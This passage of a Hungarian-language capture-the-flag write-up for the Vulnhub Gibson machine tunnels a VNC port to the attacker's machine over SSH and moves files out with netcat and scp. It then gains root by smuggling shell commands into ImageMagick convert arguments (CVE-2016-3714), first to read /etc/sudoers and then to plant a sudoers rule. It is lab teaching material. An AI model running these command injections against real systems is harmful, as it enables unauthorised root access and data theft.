PasswordAuthentication yes&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Érdekesség, hogy az &lt;code&gt;X11Forwarding&lt;/code&gt; engedélyezve van. Talán szükség lesz majd rá :)
Nézzük meg a &lt;code&gt;5900&lt;/code&gt;-as portot közelebbről.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ telnet localhost 5900&lt;/span&gt;
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is &lt;span class=&quot;s1&quot;&gt;&amp;#39;^]&amp;#39;&lt;/span&gt;.
RFB 003.008
Connection closed by foreign host.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;RFB 003.008&lt;/code&gt; tehát ez valóban egy nyitott VNC.
Akkor próbáljuk meg kitunelezni a portot ssh-n keresztül a támadó gépre ami a &lt;code&gt;192.168.10.72&lt;/code&gt; IP címen van.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ ssh -f root@192.168.10.72 -R 7777:localhost:5900 -N&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha minden jó, márpedig úgy néz ki :) akkor a támadó gépről (192.168.10.72) mondjuk remmina segítségével a &lt;code&gt;localhost:7777&lt;/code&gt;-re kapcsolódva bent is vagyunk a VNC-n.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/freedos0.png&quot; alt=&quot;freedos0&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;… és&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/freedos1.png&quot; alt=&quot;freedos1&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Úgy is lett. Egy szuper kis FreeDos 1.1 virtuális gép. Járjuk körbe, hátha találunk valamit.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/freedos2.png&quot; alt=&quot;freedos2&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A főgyökérben levő &lt;code&gt;GARBAGE&lt;/code&gt; mappán kívül semmi érdekes.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/freedos3.png&quot; alt=&quot;freedos3&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Húzzuk csak át &lt;code&gt;netcat&lt;/code&gt; segítségével a virtualhost-ra, majd onnan tovább a támadó gépre a fájlokat.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ nc -l 4444 &amp;gt; ADMINSP.JPG&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/freedos4.png&quot; alt=&quot;freedos4&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;… az egyiket&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ nc -l 4444 &amp;gt; FLAG.IMG&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/freedos5.png&quot; alt=&quot;freedos5&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;… a másikat&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ nc -l 4444 &amp;gt; JY_UG.ANS&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/freedos6.png&quot; alt=&quot;freedos6&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;… és a harmadikat is.
Csomag vesztés miatt nem lettek teljesek a fájlok, de most ezzel nem futok fölös köröket, mert a második variációban majd leszedem máshogy is a fájlokat :)&lt;/p&gt;

&lt;p&gt;És innen tovább a támadó gépre, ahol majd tovább elemezzük.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ ls -l&lt;/span&gt;
total 164
-rw-rw-r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; margo margo &lt;span class=&quot;m&quot;&gt;73185&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 00:29 ADMINSP.JPG
-rw-rw-r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; margo margo &lt;span class=&quot;m&quot;&gt;87902&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 00:30 FLAG.IMG
-rw-rw-r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; margo margo  &lt;span class=&quot;m&quot;&gt;1577&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 00:32 JY_UG.ANS

&lt;span class=&quot;c&quot;&gt;#root@kali:~# scp margo@192.168.10.222:/home/margo/ADMINSP.JPG .&lt;/span&gt;
Ubuntu 14.04.3 LTS
margo@192.168.10.222 password: 
ADMINSP.JPG                                      100%   71KB  71.5KB/s   00:00    

&lt;span class=&quot;c&quot;&gt;#root@kali:~# scp margo@192.168.10.222:/home/margo/FLAG.IMG .&lt;/span&gt;
Ubuntu 14.04.3 LTS
margo@192.168.10.222 password: 
FLAG.IMG                                         100%   86KB  85.8KB/s   00:00    

&lt;span class=&quot;c&quot;&gt;#root@kali:~# scp margo@192.168.10.222:/home/margo/JY_UG.ANS .&lt;/span&gt;
Ubuntu 14.04.3 LTS
margo@192.168.10.222 password: 
JY_UG.ANS                                        100% &lt;span class=&quot;m&quot;&gt;1577&lt;/span&gt;     1.5KB/s   00:00&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;De lássuk hogyan lehet ezt másképp csinálni :)&lt;/p&gt;

&lt;h2 id=&quot;szerezd-meg-a-zszlt-2-varici&quot;&gt;Szerezd meg a zászlót! 2. variáció&lt;/h2&gt;

&lt;p&gt;Az &lt;code&gt;ssh&lt;/code&gt;-n keresztüli sikeres belépés után, kiderült, hogy &lt;code&gt;margo&lt;/code&gt; a &lt;code&gt;sudo&lt;/code&gt; csoport tagja.
Lássuk mit tehet root jogosultsággal.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ sudo -l&lt;/span&gt;
Matching Defaults entries &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; margo on gibson:
    env_reset, mail_badpass, &lt;span class=&quot;nv&quot;&gt;secure_path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/bin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/bin

User margo may run the following commands on gibson:
    &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/convert&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Szóval root jelszó nélkül futtathatja a &lt;code&gt;/usr/bin/convert&lt;/code&gt; programot. De mi is ez a program?&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ /usr/bin/convert -version&lt;/span&gt;
Version: ImageMagick 6.7.7-10 2014-03-06 Q16 http://www.imagemagick.org
Copyright: Copyright &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;C&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 1999-2012 ImageMagick Studio LLC
Features: OpenMP&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Érdekes. Az ImageMagick verziószáma alapján, több sebből vérzik &lt;a href=&quot;https://www.exploit-db.com/exploits/39767&quot;&gt;link: https://www.exploit-db.com/exploits/39767/&lt;/a&gt;.
Vagyis a &lt;code&gt;/usr/bin/convert&lt;/code&gt; programmal lehet fájl műveleteket végrehajtani &lt;code&gt;root&lt;/code&gt; jogosultsági szinten.
Lássuk akkor a &lt;code&gt;/etc/sudoers&lt;/code&gt; fájlt.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ sudo convert &amp;#39;https://example.com&amp;quot;|cat &amp;quot;/etc/sudoers&amp;#39; out.png&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;sudo&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; password &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; margo: 
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# This file MUST be edited with the &amp;#39;visudo&amp;#39; command as root.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Please consider adding local content in /etc/sudoers.d/ instead of&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# directly modifying this file.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# See the man page for details on how to write a sudoers file.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
Defaults	env_reset
Defaults	mail_badpass
Defaults	&lt;span class=&quot;nv&quot;&gt;secure_path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&amp;quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Host alias specification&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# User alias specification&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Cmnd alias specification&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# User privilege specification&lt;/span&gt;
root	&lt;span class=&quot;nv&quot;&gt;ALL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;ALL:ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ALL

&lt;span class=&quot;c&quot;&gt;# Members of the admin group may gain root privileges&lt;/span&gt;
%admin &lt;span class=&quot;nv&quot;&gt;ALL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ALL

&lt;span class=&quot;c&quot;&gt;# Allow members of group sudo to execute any command&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;## disabled after Margo&amp;#39;s security incident&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;##%sudo	ALL=(ALL:ALL) ALL&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Allow Margo to convert pictures from the FTP server&lt;/span&gt;
margo &lt;span class=&quot;nv&quot;&gt;ALL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/convert
&lt;span class=&quot;c&quot;&gt;# Allow eugene to manage virtual machines and visudo&lt;/span&gt;
eugene &lt;span class=&quot;nv&quot;&gt;ALL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/virt-manager 
eugene &lt;span class=&quot;nv&quot;&gt;ALL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;ALL:ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  /usr/sbin/visudo 

&lt;span class=&quot;c&quot;&gt;# See sudoers(5) for more information on &amp;quot;#include&amp;quot; directives:&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#includedir /etc/sudoers.d&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Úgy gondolom a &lt;code&gt;/etc/sudoers.d&lt;/code&gt; mappába elhelyezett kiegészítő szabály elég lesz :)
Készítsük elő a jogosultságszint emelést.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ echo &amp;quot;%sudo ALL=(ALL:ALL) ALL&amp;quot; &amp;gt; exploit&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ cat exploit &lt;/span&gt;
%sudo &lt;span class=&quot;nv&quot;&gt;ALL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;ALL:ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ALL&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Most az elkészült fájlt tegyük az &lt;code&gt;/etc/sudoers.d/&lt;/code&gt; mappába.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ sudo convert &amp;#39;https://example.com&amp;quot;|cp exploit &amp;quot;/etc/sudoers.d/&amp;#39; out.png&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ sudo convert &amp;#39;https://example.com&amp;quot;|ls &amp;quot;/etc/sudoers.d&amp;#39; out.png[sudo] password for margo: &lt;/span&gt;
exploit  README&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;És akkor lássuk, most hogy néz ki a jogosultságunk.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ sudo -l&lt;/span&gt;
Matching Defaults entries &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; margo on gibson:
    env_reset, mail_badpass,
    &lt;span class=&quot;nv&quot;&gt;secure_path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/bin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/bin

User margo may run the following commands on gibson:
    &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/convert
    &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ALL : ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ALL&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Jónak tűnik…
… és legyünk &lt;code&gt;root&lt;/code&gt; !!!&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ sudo su -&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#root@gibson:~# id &amp;amp;&amp;amp; uname -a&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Linux gibson 3.19.0-25-generic &lt;span class=&quot;c&quot;&gt;#26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Nézzünk szét a &lt;code&gt;root&lt;/code&gt; háza táján :)&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#root@gibson:~# cd&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#root@gibson:~# ls -la&lt;/span&gt;
total 20
drwx------  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 20:09 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;22&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 11:51 ..
-rw-r--r--  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;3106&lt;/span&gt; Feb &lt;span class=&quot;m&quot;&gt;20&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; .bashrc
-rw-r--r--  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root  &lt;span class=&quot;m&quot;&gt;140&lt;/span&gt; Feb &lt;span class=&quot;m&quot;&gt;20&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; .profile
drwxr-xr-x  &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt; 14:01 .trash

&lt;span class=&quot;c&quot;&gt;#root@gibson:~# cd .trash/&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#root@gibson:~/.trash# ls -la&lt;/span&gt;
total 8
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt; 14:01 .
drwx------ &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 20:09 ..&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Semmi érdekes. Vizsgáljuk meg a virtuális gépet.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#root@gibson:~# virsh list --all&lt;/span&gt;
 Id    Name                           State
----------------------------------------------------
 &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;     ftpserv                        running

&lt;span class=&quot;c&quot;&gt;#root@gibson:~# cat /etc/libvirt/qemu/ftpserv.xml &lt;/span&gt;
&amp;lt;!--
WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE
OVERWRITTEN AND LOST. Changes to this xml configuration should be made using:
  virsh edit ftpserv
or other application using the libvirt API.
--&amp;gt;

&amp;lt;domain &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;qemu&amp;#39;&lt;/span&gt;&amp;gt;
  &amp;lt;name&amp;gt;ftpserv&amp;lt;/name&amp;gt;
  &amp;lt;uuid&amp;gt;ebcdaa6c-b10a-d758-c13a-0fb296b011f1&amp;lt;/uuid&amp;gt;
  &amp;lt;memory &lt;span class=&quot;nv&quot;&gt;unit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;KiB&amp;#39;&lt;/span&gt;&amp;gt;262144&amp;lt;/memory&amp;gt;
  &amp;lt;currentMemory &lt;span class=&quot;nv&quot;&gt;unit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;KiB&amp;#39;&lt;/span&gt;&amp;gt;262144&amp;lt;/currentMemory&amp;gt;
  &amp;lt;vcpu &lt;span class=&quot;nv&quot;&gt;placement&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;static&amp;#39;&lt;/span&gt;&amp;gt;1&amp;lt;/vcpu&amp;gt;
...
      &amp;lt;&lt;span class=&quot;nb&quot;&gt;source &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;/var/lib/libvirt/images/ftpserv.img&amp;#39;&lt;/span&gt;/&amp;gt;
...
    &amp;lt;/memballoon&amp;gt;
  &amp;lt;/devices&amp;gt;
&amp;lt;/domain&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Meg is van a gép virtuális meghajtója.
Nézzük meg a fájlrendszerét.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#root@gibson:~/.trash# fdisk -l /var/lib/libvirt/images/ftpserv.img &lt;/span&gt;
Disk /var/lib/libvirt/images/ftpserv.img: &lt;span class=&quot;m&quot;&gt;536&lt;/span&gt; MB, &lt;span class=&quot;m&quot;&gt;536870912&lt;/span&gt; bytes
&lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; heads, &lt;span class=&quot;m&quot;&gt;63&lt;/span&gt; sectors/track, &lt;span class=&quot;m&quot;&gt;1040&lt;/span&gt; cylinders, total &lt;span class=&quot;m&quot;&gt;1048576&lt;/span&gt; sectors
&lt;span class=&quot;nv&quot;&gt;Units&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; sectors of &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; * &lt;span class=&quot;nv&quot;&gt;512&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;512&lt;/span&gt; bytes
Sector size &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;logical/physical&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: &lt;span class=&quot;m&quot;&gt;512&lt;/span&gt; bytes / &lt;span class=&quot;m&quot;&gt;512&lt;/span&gt; bytes
I/O size &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;minimum/optimal&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: &lt;span class=&quot;m&quot;&gt;512&lt;/span&gt; bytes / &lt;span class=&quot;m&quot;&gt;512&lt;/span&gt; bytes
Disk identifier: 0x00000000

                              Device Boot      Start         End      Blocks   Id  System
/var/lib/libvirt/images/ftpserv.img1   *          &lt;span class=&quot;m&quot;&gt;63&lt;/span&gt;     &lt;span class=&quot;m&quot;&gt;1048319&lt;/span&gt;      524128+   e  W95 FAT16 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LBA&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Állítsuk le a virtuális gépet és csatoljuk fel a fájlrendszerét, hogy rendesen leszedhessük a &lt;code&gt;GARBAGE&lt;/code&gt; mappa fájljait.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#root@gibson:~/.trash# virsh shutdown ftpserv&lt;/span&gt;
Domain ftpserv is being shutdown

&lt;span class=&quot;c&quot;&gt;#root@gibson:/# losetup /dev/loop0 /var/lib/libvirt/images/ftpserv.img -o $((63 * 512))&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#root@gibson:/# mount -t vfat /dev/loop0 /mnt&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#root@gibson:/# cd /mnt&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#root@gibson:/mnt# ls&lt;/span&gt;
AUTOEXEC.BAT  BOOTSECT.BIN  COMMAND.COM  DOS  FDCONFIG.SYS  GARBAGE  KERNEL.SYS  net

&lt;span class=&quot;c&quot;&gt;#root@gibson:/mnt# cd GARBAGE/&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#root@gibson:/mnt/GARBAGE# ls -la&lt;/span&gt;
total 880
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; root root   &lt;span class=&quot;m&quot;&gt;8192&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 21:03 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; root root  &lt;span class=&quot;m&quot;&gt;16384&lt;/span&gt; Jan  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;1970&lt;/span&gt; ..
-rwxr-xr-x &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;123141&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 21:17 adminspo.jpg
-rwxr-xr-x &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;737280&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt; 13:19 flag.img
-rwxr-xr-x &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root   &lt;span class=&quot;m&quot;&gt;1601&lt;/span&gt; Jun &lt;span class=&quot;m&quot;&gt;11&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2002&lt;/span&gt; jz_ug.ans&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Szóval így vagy úgy, de a fájlok megvannak :)&lt;/p&gt;

&lt;h2 id=&quot;vizsgljuk-meg-a-zskmnyt&quot;&gt;Vizsgáljuk meg a zsákmányt!&lt;/h2&gt;

&lt;p&gt;Miután átvittük a fájlokat a támadógépre, ott folytatjuk a vizsgálódást.
Lássuk először az &lt;code&gt;adminspo.jpg&lt;/code&gt; fájlt.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/adminspo.png&quot; alt=&quot;adminspo&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Most lássuk az EXIF adatokat.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#root@kali:~/Hack/Vulnhub_-_Gibson_0.2# exif -m adminspo.jpg &lt;/span&gt;
Image Description	Rabbit.. Flu Shot... TYPE COOKE YOU IDIOT! I&lt;span class=&quot;s1&quot;&gt;&amp;#39;ll head them off at the pass&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Date and Time	2016:05:04 22:29:32&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Artist	Virtualization is fun.. What&amp;#39;&lt;/span&gt;s more, esoteric OSes on 192.168.122 are even more fun
X-Resolution	72
Y-Resolution	72
Resolution Unit	Inch
User Comment	So there&lt;span class=&quot;s1&quot;&gt;&amp;#39;s info here.... Images, hmm... Wasn&amp;#39;&lt;/span&gt;t that a CVE...? Oh yes... CVE 2016-3714

